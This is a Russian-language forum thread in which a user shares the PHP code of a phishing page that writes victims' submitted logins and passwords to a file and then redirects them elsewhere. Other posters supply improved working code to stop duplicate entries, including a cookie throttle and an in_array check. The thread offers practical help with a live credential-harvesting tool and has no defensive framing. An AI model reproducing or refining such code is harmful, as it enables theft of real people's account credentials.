Если запись существует - не дописывать...

Статус
В этой теме нельзя размещать новые ответы.

extrimportal

Я за мир, во всём мире!
Заблокирован
Регистрация
28 Ноя 2008
Сообщения
590
Реакции
120
  • Автор темы
  • Заблокирован
  • #1
Здравствуйте. Кароче у меня есть фейк, которые записывает логины и пароли в файл... вот его код
PHP:
<?PHP
$Login = $_POST['login']; // Логин
$Pass = $_POST['passwd']; // Пароль

$log = fopen("bas.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Pass \n"); //записываем всё
fclose($log); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://.....'></head></html>"; // куда пошлем пользователя после того как он ввел данные!
?>
Можно сделать чтобы все пари (логин:пароль) были с новой строки и перед добавлением проводилась проверка, то есть если запись существует, то не записывать, а то добавляют одну запись по 7-8 раз. И еще но это уже так... было бы очень хорошо если бы ставилась дата каждый день а после писались данные, пример:
7.07.90
лшырвал:ыдалордыа
щшардыва:щшоуа
4.07.93
ываыва:щыоа
Буду очень благодарен за помощь. Спасибо. :thenks::thenks::thenks:
 
А если будет смена пароля?

PHP:
fwrite($log,"$Login:$Pass \r\n"); //записываем всё
с новой строки новая пара!
 
  • Автор темы
  • Заблокирован
  • #3
а может тогда проводить проверку по паролю если нельзя по целой паре?
 
а поиск делать с помощью substr если не ошибаюсь... :D
 
  • Автор темы
  • Заблокирован
  • #5
:D логинчо. а если перехватывать данные и сравнивать с каждой парой или с символами после двоеточия?
 
Сравнивай целую пару (логин:пасс), если сходства нет, дозапись, ежели совпало шли лесом =)
 
PHP:
<?PHP 
$Login = $_POST['login']; // Логин 
$Pass = $_POST['passwd']; // Пароль 

if(!isset($_COOKIE['controler']))
{
$log = fopen("bas.php","a+"); //открываем файл базы 
fwrite($log,"$Login:$Pass \r\n");
fclose($log);
//устанавливаем куки на 200 секунд
setcookie("controler",md5(time()),time()+200);
}

 //закрываем 
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://.....'></head></html>"; // куда пошлем пользователя после того как он ввел данные! 
?>
 
PHP:
$mydata = file('base.dat');
if(!empty($login) && !empty($pass) && !in_array($login.":".$pass, $mydata)) {
 myfunction(array('login'=>$login, 'pass'=>$pass)); 
} else { 
 echo "gjikb ktcjv";
}
function myfunction($vars) {
//$vars['login']
//$vars['pass'] 
//
// все действия по записи в бд
}
 
  • Автор темы
  • Заблокирован
  • #9
варіант Mr.Emm даже не понял куда писать, но спасибо за усердия. Варіант BKK работает, а можно еще что то с датой придумать, а пока что БОЛЬШОЙ ФЕНКС!!! п.с. а что делают кукисы, или то время которые они установлены?
 
О_о ты кто, программист или фейктишист?))
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху